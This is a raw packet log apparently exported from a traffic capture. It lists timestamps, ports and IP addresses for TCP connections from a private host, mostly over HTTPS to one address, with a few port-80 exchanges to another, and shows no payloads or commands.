Nov 5, 2024 10:13:37.468729973 CET	443	49847	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.483320951 CET	443	49849	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.483825922 CET	49849	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.483848095 CET	443	49849	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.484745026 CET	49849	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.484749079 CET	443	49849	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.516201973 CET	443	49850	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.516689062 CET	49850	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.516711950 CET	443	49850	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.517154932 CET	49850	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.517158985 CET	443	49850	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.558617115 CET	443	49846	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.558675051 CET	443	49846	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.561090946 CET	49846	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.561090946 CET	49846	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.561351061 CET	49846	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.561367989 CET	443	49846	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.563718081 CET	49851	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.563760042 CET	443	49851	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.564812899 CET	49851	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.566639900 CET	49851	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.566654921 CET	443	49851	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.608217955 CET	443	49848	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.608252048 CET	443	49848	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.608298063 CET	49848	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.608304024 CET	443	49848	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.608369112 CET	443	49847	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.608424902 CET	443	49847	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.608443022 CET	49848	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.608936071 CET	49847	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.609136105 CET	49848	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.609136105 CET	49848	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.609153032 CET	443	49848	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.609160900 CET	443	49848	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.611468077 CET	49847	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.611483097 CET	443	49847	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.611505985 CET	49847	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.611510992 CET	443	49847	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.615307093 CET	49852	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.615339994 CET	443	49852	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.615432978 CET	49852	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.616064072 CET	49853	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.616106033 CET	443	49853	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.616247892 CET	49853	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.622884989 CET	443	49849	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.622980118 CET	443	49849	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.627654076 CET	49849	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.627655029 CET	49852	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.627669096 CET	443	49852	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.627710104 CET	49853	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.627742052 CET	443	49853	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.628207922 CET	49849	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.628226042 CET	443	49849	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.628285885 CET	49849	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.628292084 CET	443	49849	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.630230904 CET	49854	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.630239964 CET	443	49854	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.630439043 CET	49854	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.630439043 CET	49854	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.630455971 CET	443	49854	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.655733109 CET	443	49850	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.658114910 CET	443	49850	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.658152103 CET	443	49850	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.658185959 CET	49850	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.658288002 CET	49850	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.658343077 CET	49850	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.658343077 CET	49850	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.658349991 CET	443	49850	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.658358097 CET	443	49850	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.660188913 CET	49855	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.660221100 CET	443	49855	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.660945892 CET	49855	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.661098003 CET	49855	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.661108971 CET	443	49855	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.786010027 CET	80	49845	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:37.788176060 CET	49845	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:37.888778925 CET	49793	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:37.906022072 CET	49845	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:37.911664009 CET	80	49845	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:38.337610006 CET	443	49851	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.358788013 CET	49851	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.358805895 CET	443	49851	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.359785080 CET	49851	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.359790087 CET	443	49851	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.376462936 CET	443	49852	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.378462076 CET	49852	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.378489971 CET	443	49852	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.378891945 CET	49852	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.378897905 CET	443	49852	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.396848917 CET	443	49853	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.397902012 CET	443	49854	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.420312881 CET	49853	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.420346022 CET	443	49853	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.420748949 CET	49853	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.420753956 CET	443	49853	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.427093983 CET	49854	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.427103043 CET	443	49854	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.427110910 CET	443	49855	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.427445889 CET	49854	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.427452087 CET	443	49854	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.427479029 CET	49855	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.427488089 CET	443	49855	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.427901030 CET	49855	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.427906036 CET	443	49855	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.495254040 CET	443	49851	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.495331049 CET	443	49851	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.495390892 CET	49851	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.507391930 CET	49851	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.507391930 CET	49851	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.507410049 CET	443	49851	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.507417917 CET	443	49851	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.513004065 CET	443	49852	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.513079882 CET	443	49852	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.513145924 CET	49852	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.519131899 CET	49852	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.519145966 CET	443	49852	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.519160986 CET	49852	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.519166946 CET	443	49852	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.524775028 CET	49856	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.524806023 CET	443	49856	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.524872065 CET	49856	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.526925087 CET	49857	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.526949883 CET	443	49857	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.527062893 CET	49856	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.527077913 CET	443	49856	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.527091980 CET	49857	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.527364016 CET	49857	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.527376890 CET	443	49857	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.555354118 CET	443	49853	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.555414915 CET	443	49853	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.555473089 CET	49853	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.555679083 CET	49853	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.555685043 CET	443	49853	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.562258005 CET	49858	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.562271118 CET	443	49858	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.562354088 CET	49858	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.562730074 CET	49858	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.562740088 CET	443	49858	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.564666033 CET	443	49854	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.564928055 CET	443	49854	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.564960003 CET	49854	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.564969063 CET	443	49854	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.564981937 CET	443	49854	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.565188885 CET	49854	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.565216064 CET	49854	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.565221071 CET	443	49854	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.565253973 CET	49854	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.565258026 CET	443	49854	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.566978931 CET	443	49855	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.567049980 CET	443	49855	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.567095995 CET	49855	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.567367077 CET	49855	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.567373037 CET	443	49855	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.567380905 CET	49855	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.567384958 CET	443	49855	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.568468094 CET	49859	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.568478107 CET	443	49859	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.568638086 CET	49859	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.569349051 CET	49859	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.569360018 CET	443	49859	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.571403027 CET	49860	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.571424961 CET	443	49860	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.571568012 CET	49860	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.571867943 CET	49860	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:38.571882010 CET	443	49860	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:38.687334061 CET	80	49845	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:38.687392950 CET	49845	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:39.288044930 CET	443	49856	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.288492918 CET	49856	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.288512945 CET	443	49856	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.288919926 CET	49856	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.288923979 CET	443	49856	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.301337957 CET	443	49857	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.303024054 CET	49857	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.303044081 CET	443	49857	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.303417921 CET	49857	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.303421974 CET	443	49857	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.318830967 CET	443	49858	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.321011066 CET	49858	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.321022987 CET	443	49858	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.321427107 CET	49858	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.321432114 CET	443	49858	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.327619076 CET	443	49859	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.330012083 CET	49859	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.330027103 CET	443	49859	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.330416918 CET	49859	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.330420971 CET	443	49859	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.356419086 CET	443	49860	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.356842995 CET	49860	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.356861115 CET	443	49860	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.357357025 CET	49860	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.357362986 CET	443	49860	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.426130056 CET	443	49856	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.426357031 CET	443	49856	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.426417112 CET	49856	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.426451921 CET	49856	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.426471949 CET	443	49856	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.426481962 CET	49856	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.426487923 CET	443	49856	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.429150105 CET	49861	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.429188013 CET	443	49861	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.429400921 CET	49861	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.429527044 CET	49861	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.429538965 CET	443	49861	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.442327976 CET	443	49857	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.442750931 CET	443	49857	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.443392038 CET	49857	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.443418980 CET	49857	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.443434000 CET	443	49857	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.443456888 CET	49857	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.443460941 CET	443	49857	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.445349932 CET	49862	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.445379972 CET	443	49862	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.445508957 CET	49862	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.447179079 CET	49862	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.447189093 CET	443	49862	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.456836939 CET	443	49858	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.456871033 CET	443	49858	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.456917048 CET	443	49858	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.456955910 CET	49858	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.456970930 CET	49858	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.457118034 CET	49858	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.457127094 CET	443	49858	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.457135916 CET	49858	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.457139969 CET	443	49858	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.458944082 CET	49863	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.458965063 CET	443	49863	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.459028959 CET	49863	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.459115982 CET	49863	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.459131002 CET	443	49863	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.464937925 CET	443	49859	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.465533972 CET	443	49859	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.465606928 CET	49859	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.465747118 CET	49859	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.465756893 CET	443	49859	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.465769053 CET	49859	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.465773106 CET	443	49859	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.467833042 CET	49864	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.467869043 CET	443	49864	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.467940092 CET	49864	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.468035936 CET	49864	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.468045950 CET	443	49864	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.495783091 CET	443	49860	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.495904922 CET	443	49860	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.495997906 CET	49860	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.501471043 CET	49860	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.501482010 CET	443	49860	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.501498938 CET	49860	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.501503944 CET	443	49860	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.503671885 CET	49865	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.503703117 CET	443	49865	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:39.503889084 CET	49865	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.504126072 CET	49865	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:39.504144907 CET	443	49865	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.184376001 CET	443	49861	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.199677944 CET	49861	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.199703932 CET	443	49861	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.200198889 CET	49861	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.200203896 CET	443	49861	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.209372044 CET	443	49862	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.211214066 CET	49862	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.211229086 CET	443	49862	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.211494923 CET	443	49863	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.211934090 CET	49862	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.211940050 CET	443	49862	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.246607065 CET	443	49865	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.251820087 CET	443	49864	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.266284943 CET	49863	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.297533989 CET	49865	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.297557116 CET	49864	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.301373959 CET	49863	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.301384926 CET	443	49863	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.302086115 CET	49863	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.302090883 CET	443	49863	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.329720020 CET	49865	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.329742908 CET	443	49865	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.330255032 CET	49865	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.330261946 CET	443	49865	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.330585003 CET	49864	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.330596924 CET	443	49864	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.331010103 CET	49864	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.331015110 CET	443	49864	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.337194920 CET	443	49861	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.337282896 CET	443	49861	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.337327957 CET	49861	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.337519884 CET	49861	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.337541103 CET	443	49861	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.337551117 CET	49861	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.337557077 CET	443	49861	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.352893114 CET	443	49862	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.353045940 CET	443	49862	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.353085995 CET	443	49862	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.353159904 CET	49862	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.353159904 CET	49862	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.388644934 CET	49862	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.388668060 CET	443	49862	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.435077906 CET	443	49863	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.435162067 CET	443	49863	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.435213089 CET	49863	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.462194920 CET	443	49865	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.462279081 CET	443	49865	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.466434956 CET	49865	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.468559027 CET	443	49864	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.468851089 CET	443	49864	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.468914032 CET	49864	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.476830006 CET	49863	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.476866007 CET	443	49863	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.476908922 CET	49863	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.476914883 CET	443	49863	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.480845928 CET	49865	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.480870008 CET	443	49865	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.480884075 CET	49865	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.480889082 CET	443	49865	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.482496977 CET	49864	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.482527018 CET	443	49864	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.482541084 CET	49864	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.482547998 CET	443	49864	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.512722015 CET	49866	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.512769938 CET	443	49866	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.512830973 CET	49866	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.513861895 CET	49867	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.513915062 CET	443	49867	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.513964891 CET	49867	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.547789097 CET	49866	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.547813892 CET	443	49866	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.551798105 CET	49867	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.551817894 CET	443	49867	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.607841015 CET	49868	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.607884884 CET	443	49868	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.607970953 CET	49868	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.618851900 CET	49868	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.618865013 CET	443	49868	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.650580883 CET	49869	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.650614977 CET	443	49869	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.650712013 CET	49869	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.652745008 CET	49870	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.652754068 CET	443	49870	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:40.652832985 CET	49870	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.704547882 CET	49869	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.704560995 CET	443	49869	13.107.253.45	192.168.2.5
